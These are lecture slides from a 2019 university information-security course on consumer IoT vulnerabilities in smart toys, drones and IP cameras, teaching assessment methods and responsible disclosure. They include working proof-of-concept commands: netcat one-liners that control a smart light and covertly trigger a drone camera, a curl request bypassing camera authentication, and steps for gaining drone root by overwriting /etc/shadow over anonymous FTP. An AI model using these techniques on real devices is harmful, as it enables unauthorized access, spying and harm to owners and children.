CS 6324: Information Security

Consumer Internet of Things (IoT) Security

Dr. Junia Valente

Department of Computer Science
The University of Texas at Dallas
Presentation Overview:
Based on my research work @ UT Dallas

Part I:
Vulnerability trends in Internet of Things (IoT) devices

- IoT devices raise new concerns to privacy
- Attacks on IoT devices have real consequences
- IoT devices pose new unanticipated threats

Part II:
New sensor-assisted security protections

Dr. Valente
February 21, 2019
Outline

✧ Overview

✧ **PART I: VULNERABILITY TRENDS IN IOT DEVICES**

✧ Smart Toys

✧ Consumer Drones

✧ Surveillance Systems

✧ Recommendations
Overview: to systematically study security and privacy issues in IoT devices -- we obtained over 40 IoT devices in our lab.
Summary of common network services running on IoT devices: webservers, telnet, access points, etc.

E.g., “Local” webserver may be hosted at: http://<device-ip>:80/index.html

These network services correspond to port numbers (e.g., ftp – 21, ssh – 22, telnet - 23)
Steps to assess IoT devices: **Caution!!!** Stay away from analyzing devices + services you do not own nor have permission to test!

1. **Start with IoT Device**
   - Has access point?
     - Yes: **Firmware available?**
       - Yes: Remote access!
     - No: Connect to a local laboratory network
2. Connect to access point
   - Has ftp, telnet, or ssh?
     - Yes: **Has hardcoded credentials?**
       - Yes: **Has a webserver?**
         - Yes: Try finding service-related vulnerabilities
         - No: Sniff network traffic (to app or cloud)
     - No: Other ports?
       - Yes: Encryption problems?
         - Yes: Network traffic data access!
         - No: Auth problems?
           - Yes: Unauthorized access
           - No: Has unknown ports?
             - Yes: Sniff network traffic (to app or cloud)
             - No: Other ports?
               - Yes: Encryption problems?
                 - Yes: Network traffic data access!
                 - No: Auth problems?
                   - Yes: Unauthorized access
                   - No: Try finding service-related vulnerabilities
Sample Setup #1: device <--wifi--> laptop <--ethernet--> router

Based on our experiments, we found that the most effective way to do vulnerability assessment includes placing our laptop as a man-in-the-middle between the IoT device we are analyzing and other devices they communicate to (such as a mobile device running the IoT device companion app.)
Sample Setup #2:

Can an attacker **sniff** the traffic between the smart light and the app; to gain some info?
Sample Setup #2:

Traffic is **NOT** encrypted!
Meanwhile, the light is meant to be remotely controlled :-(

192.168.2.7

Traffic Monitoring

We noticed that an attacker can use their laptop to send something similar to the following command to change the MagicLight’s color:

```
# echo -ne "\x61\x25\x1e\x0f\xb3" | nc -n 192.168.2.7 5577
```
Outline

✧ Overview

✧ PART I: VULNERABILITY TRENDS IN IOT DEVICES

✧ SMART TOYS

✧ Consumer Drones

✧ Surveillance Systems

✧ Recommendations
Overview of internet-connected toys: Hello Barbie, Toymail Talkie, CogniToys Dino

Legend:
- webserver
- cloud
- access point
- sensor
Smart toys overview:
“Alexa for kids” & connected toys

(1) Toy **intelligently** replies to the child

(2) Toy **enables communication** between child & parent
Smart Toys: pose new unanticipated threats

Safety + Privacy concerns [1]

- **Trust**: what happens if toy is resold or stolen?
- **Privacy**: microphone at home – listening to your child.
- **Safety**: a compromised toy can yell at the child, insult them, etc.

(1) Trust Concerns (cont’d):
Physical attack – attacker can obtain sensitive information

The toy does not authenticate the user speaking to the device, and can reveal sensitive information if the toy is lost or resold.
(2) Privacy Concerns (cont’d)
Smart toys are equipped with microphones & speakers.

Attacker on the network between device and cloud

Can an attacker listen the child’s conversation?

We found: Traffic was encrypted using weak crypto AES ECB 128

Device uses encryption to transport voice to/from cloud -- but weak encryption
Snippets of RTP traffic:
Observation - Similar payload pattern due to ECB crypto.

0000000: bbc7 26d6 b4dd dbbe c35b d9fd 8018 5105 .......
0000010: bbc7 26d6 b4dd dbbe c35b d9fd 8018 5105 .......

Note: Different ciphertext however similar patterns
INVITE sip:1000@[redacted];transport=tcp SIP/2.0
Via: SIP /2.0/ TCP 192.168.2.5 :5020
From: <sip:[redacted]@[redacted]>;tag=0JKAwIe
To: <sip:1000@[redacted]>
Call-ID: 2212fmNgNs5d011x
Contact: <sip:[redacted]@192.168.2.5:5020;transport=tcp>
Allow: INVITE , ACK , BYE , UPDATE
Proxy-Authorization: [redacted]
Content-Type: application/sdp
Content-Length: 205

v=0
o=xxxxxx xxxxxx xxxxxx IN IP4 [redacted] s=Dino Call
c=IN IP4 [redacted] t=0 0
m=audio 42806 RTP/AVP 9
a=sendrecv
a=rtpmap:9 G722/8000
a=direction:active
a=crypto:AES_128_EBC
k=index:15

Our finding: Dino devices use same encryption keys!

When "k=index:15" in SIP traffic:

 When "k=index:0" in SIP traffic:
(2) Privacy Concerns (cont’d):
Eavesdrop attack – attacker can decrypt via another dino

Steps (simplified):

1. Attacker captures traffic while user speaks to dino

2. Attacker replays traffic to another dino device!

Our findings: Dino devices use same encryption keys!

The attacker can listen:
- What the child spoke to dino
- and/or dino’s responses

https://youtu.be/MyUPwuaBVRs
The attacker can make:
Dino toys speak arbitrary things to a child:

→ Ask child to open the front door of their house
→ Insult the child
Summary of Vulnerabilities: we disclosed to U.S. government-sponsored CERT/CC Team & vendor

We discovered and reported several vulnerabilities: **CVE-2017-8867**, **CVE-2017-8866**, and **CVE-2017-8865**.

(1) Dino devices use **weak mode of encryption**

(2) Dino devices use **hard-coded keys** for encryption

(3) Dino devices are vulnerable to **replay-attacks**
Outline

✧ Overview

✧ **PART I: VULNERABILITY TRENDS IN IOT DEVICES**

✧ Smart Toys

✧ **CONSUMER DRONES**

✧ Surveillance Systems

✧ Recommendations
“But they are just toys”: even if the drone is purchased as a toy, attacks can have dangerous consequences

New technologies may present new ways of violating people's privacy, but that doesn't mean they're legal. It will take courts years to figure out how to apply our laws to our age of drones (and years for legislators to revise them -- they're not, after all, perfect), but

Paul M. Skinner, 38, had been charged with the gross misdemeanor, accused of engaging in conduct that created a “substantial risk of death or serious bodily injury to another person.”
Research on the cyber-security practices in drones has received increasing attention.
Summary of Attacks on Drones:
Attacks can have real consequences [2]

- **Drone stealing**: run away with the device
- **Drone safety**: take down a flying drone & intentionally cause accidents
- **Privacy**: download user data & turn-on camera drone without permission

(1) Drone Stealing:
Anyone near-by can hijack the drone and fly it away

---

Because it is possible to pair-up multiple devices with the drone, passing-by attacker can use their phone to fly away the drone!
(1) Drone Stealing: Anyone near-by can hijack the drone and fly it away.
Drone Safety:
Attacker can leverage security vulnerabilities to gain root access

- **Drone stealing**: run away with the device
- **Drone safety**: take down a flying drone & intentionally cause accidents
- **Privacy**: download user data & turn-on camera drone without permission
Drone Safety (cont’d): can we gain telnet access to the drone? If yes, we can have full access of the device.

We have access to etc/shadow!

<table>
<thead>
<tr>
<th>PORT</th>
<th>STATE</th>
<th>SERVICE</th>
<th>VERSION</th>
</tr>
</thead>
<tbody>
<tr>
<td>21/tcp</td>
<td>open</td>
<td>ftp</td>
<td>BusyBox ftpd (D-Link DCS-932L...)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>telnet: Anonymous FTP login allowed (FTP code 230)</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>23/tcp</td>
<td>open</td>
<td>telnet</td>
<td>BusyBox telnetd</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>PORT</th>
<th>STATE</th>
<th>SERVICE</th>
<th>VERSION</th>
</tr>
</thead>
<tbody>
<tr>
<td>21/tcp</td>
<td>open</td>
<td>ftp</td>
<td>BusyBox ftpd (D-Link DCS-932L...)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Discovery drones have anonymous FTP user (i.e., they accept any string as password) with full filesystem access!**
(2) Drone Safety (cont’d): we tried cracking root hash, looking filesystem, searching forums... no success. But…

Telnet access?
## Drone Safety (cont’d): we can’t crack `/etc/shadow`, but we can replace it with our favorite hashed password!

Vulnerabilities we discovered (on Oct 2016) and disclosed to US-CERT:

**CWE-276**: Incorrect Default Permissions (CVE-2017-3209)

```bash
$ ls -l
-rwxr--r-- 1 root  root  823 Dec 17 2013 fstab
-rw-r--r-- 1 root  root   46 Oct 19 2010 group
-rw-r--r-- 1 root  root   84 Oct 19 2010 host.conf
-rw-r--r-- 1 root  root   46 Oct 19 2010 hosts
drwxr-xr-x  2 root  root   42 Oct 16 2015 init.d
-rw-r--r--  1 root  root   657 Mar  6 2013 init.tab
drwxr-xr-x  4 root  root   0 Jan  1 00:00 jffs2
-rw-r--r--  1 root  root  14 Oct 19 2010 ld.so.conf
-rw-r--r--  1 root  root 1022 Dec 17 2010 mdev.conf
-rw-r--r--  1 root  root  349 Oct 19 2010 nsswitch.conf
lrwxrwxrwx  1 root  root   12 Mar 14 2016 passwd -> jffs2/passwd
-rw-r--r--  1 root  root   816 May  8 2013 profile
lrwxrwxrwx  1 root  root   17 Mar 14 2016 resolv.conf -> jffs2/resolv.conf
lrwxrwxrwx  1 root  root  325 Nov 20 2014 services
lrwxrwxrwx  1 root  root  12 Mar 14 2016 shadow -> jffs2/shadow
drwxr-xr-x  2 root  root  31 May 24 2011 sysconfig
-rw-r--r--  1 root  root  4140 Dec 29 2015 udhcpcd.conf
```
(2) Drone Safety:
An attacker can modify sensitive files and gain root access!

https://youtu.be/bAxPBNDeCmM
(3) Privacy:
Attacker can use misconfigs/lack of auth to compromise data

- **Drone stealing**: run away with the device
- **Drone safety**: take down a flying drone & intentionally cause accidents
- **Privacy**: download user data & turn-on camera drone without permission
(3) Privacy:
Attacker can access media captured by near-by drone

We discovered and reported vulnerability: **CVE-2017-3209**
(3) Privacy (cont’d): Spy on Neighbors—
Turning on the drone camera in the apartment next door

Attacker can take pictures and start video feed without owner noticing

Drone

1. connect to drone open AP
2. `echo lewei_cmd;...
3. record and return footage

```
{ echo lewei_cmd; echo -e "\x00\x13 \x00$s{1..35}; } | tr -d "\n" | nc 192.168.0.1 8060 > photo_file
```
Overview

PART I: VULNERABILITY TRENDS IN IOT DEVICES

♦ Smart Toys

♦ Consumer Drones

♦ SURVEILLANCE SYSTEMS

♦ Recommendations
Summary of Attacks on Cameras [3]: Concerns go beyond privacy: botnets!

- **Privacy concerns**: how secure is my camera live feed?
- **Powering botnets**: maliciously transforming hacked IoT devices into bots

References:
(1) **Privacy concerns:** An attacker can find an alternative channel to view live feed.

- **Privacy concerns:** how secure is my camera live feed?
- **Powering botnets:** maliciously transforming hacked IoT devices into bots
(1) Privacy concerns (cont’d): webserver running on IP camera give us an alternative channel to view camera live feed.

<table>
<thead>
<tr>
<th>PORT</th>
<th>STATE</th>
<th>SERVICE</th>
<th>VERSION</th>
</tr>
</thead>
<tbody>
<tr>
<td>554/tcp</td>
<td>open</td>
<td>rtsp</td>
<td>D-Link DCS-2130 or Pelco IDE10DN webcam rtspd</td>
</tr>
<tr>
<td></td>
<td></td>
<td>_rtsp-methods:</td>
<td>OPTIONS, DESCRIPT, SETUP, TEARDOWN, PLAY, PAUSE, GET_PARAMETER, SET_PARAMETER</td>
</tr>
<tr>
<td>6001/tcp</td>
<td>open</td>
<td>rtsp</td>
<td>D-Link DCS-2130 or Pelco IDE10DN webcam rtspd</td>
</tr>
<tr>
<td></td>
<td></td>
<td>_rtsp-methods:</td>
<td>OPTIONS, DESCRIPT, SETUP, TEARDOWN, PLAY, PAUSE, GET_PARAMETER, SET_PARAMETER</td>
</tr>
<tr>
<td>8000/tcp</td>
<td>open</td>
<td>tcpwrapped</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>_ http-methods:</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>_ Supported Methods:</td>
<td>gSOAP/2.8</td>
</tr>
<tr>
<td></td>
<td></td>
<td>_ http-server-header:</td>
<td>Site doesn't have a title (text/xml; charset=utf-8).</td>
</tr>
<tr>
<td>9000/tcp</td>
<td>open</td>
<td>cslistener</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Service Info: Device: webcam; CPE: cpe:/h:pelco:ide10dn</td>
<td></td>
</tr>
</tbody>
</table>

2 [02:50:30] jvalente: curl -X POST --header "Content-Type: text/xml" --data-binary @GetStreamUri.xml http://10.0.0.141:8000/

Authentication here! But, not for the RTSP ports!

3 Returns the RTSP URL we need!
(1) Privacy concerns (cont’d):
Attacker on network can bypass authentication

SOAP response reveals rtsp URL

```
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"...[redacted]...>
  <SOAP-ENV:Body>
    <trt:GetStreamUriResponse>
      <trt:MediaUri>
        <tt:Uri>rtsp://10.0.0.141:554/h264Preview_01_main</tt:Uri>
      </trt:MediaUri>
    </trt:GetStreamUriResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

An attacker on network can get unauthorized view of the live feed

CWE-288: Authentication Bypass Using an Alternate Path or Channel (CVE-2015-8287)
(2) Powering botnets:
Growing IoT botnet threatens to take down the Internet

**Privacy concerns**: how secure is my camera live feed?

**Powering botnets**: maliciously transforming hacked IoT devices into bots
Researchers Discover 500,000+ IoT Devices Vulnerable to Mirai Botnet

Mirai botnet: took advantage of vulnerable cameras & routers using 60 common factory default username & passwords.
"Powering botnets" (cont’d): Swann devices do not use common factory credentials but they are hard-coded in firmware.

[03:30:15] jvalente: binwalk nvr-firmware.pak

<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEXADECIMAL</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>36989</td>
<td>0x907D</td>
<td>Certificate in DER format (x509 v3), header length: 4, sequence length: 1280</td>
</tr>
<tr>
<td>90812</td>
<td>0x162BC</td>
<td>CRC32 polynomial table, little endian</td>
</tr>
<tr>
<td>174741</td>
<td>0x2AA95</td>
<td>Certificate in DER format (x509 v3), header length: 4, sequence length: 1280</td>
</tr>
<tr>
<td>258124</td>
<td>0x3F04C</td>
<td>CRC32 polynomial table, little endian</td>
</tr>
</tbody>
</table>
| 425248  | 0x67D20     | uImage header, header size: 64 bytes, header CRC: 0x73D9C2E7, created: 2014-12-08 06:37:01, image size: 2823708 bytes, Data Address: 0x80008000, Entry Point: 0x80008000, data CRC: 0x6E9FF38, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: "Linux-2.6.37"
| 442003  | 0x6BE93     | gzip compressed data, maximum compression, from Unix, last modified: [...] |
| 3249020 | 0x31937C    | CramFS filesystem, little endian, size: 8597504 version 2 sorted_dirs CRC [...] |
| 11846524| 0xB4C37C    | CramFS filesystem, little endian, size: 10969088 version 2 sorted_dirs CRC [...] |
| 22815612| 0x15C237C   | PC bitmap, Windows 3.x format,, 684 x 456 x 24 |
| 23751378| 0x16A6AD2   | CramFS filesystem, little endian, size: 4096 version 2 sorted_dirs CRC [...] |

Dr. Valente  
Consumer IoT Security  
February 21, 2019  
44
Devices with hard-coded passwords may soon be attractive to join botnets as well. Once attacker gets root access, they can do anything! Run a malicious script, call a central control server, hack other devices.

We discovered and reported vulnerability:
CWE-259: Use of Hard-coded Password (CVE-2015-8286)
PART I: VULNERABILITY TRENDS IN IoT DEVICES

Smart Toys

Consumer Drones

Surveillance Systems

RECOMMENDATIONS
Vulnerability assessment take-away: Start with what we want to find, and then move backwards to see if we can actually find it.

During our analysis we can focus on finding:

1. Encryption problems
2. Vulnerabilities in the services running (webserver, ssh, telnet, etc.)
3. Hard-coded information on firmware

But the key is to (1) know *specifically* what we are looking for (and why); and (2) what are the possible proof-of-concept attacks? Then, work backwards.

Also, what is the impact and real physical consequences if attack is successful?

But note: don’t be discouraged if you don’t find anything interesting -- that might indicate that vendors are adding more security protection to these devices! ☺️
1. Say we found a vulnerability!

2. Is this vulnerability already known? Google it!

3. Once we confirm it is unknown, follow a responsible disclosure:
   - Write a succinct summary of findings (+ proof-of-concept attacks)
   - Disclose to vendors, CERT/CC, bug bounty programs, etc.
   - Give them time to fix before going public with the findings
Thank you!

Junia Valente
(juniavalente@utdallas.edu)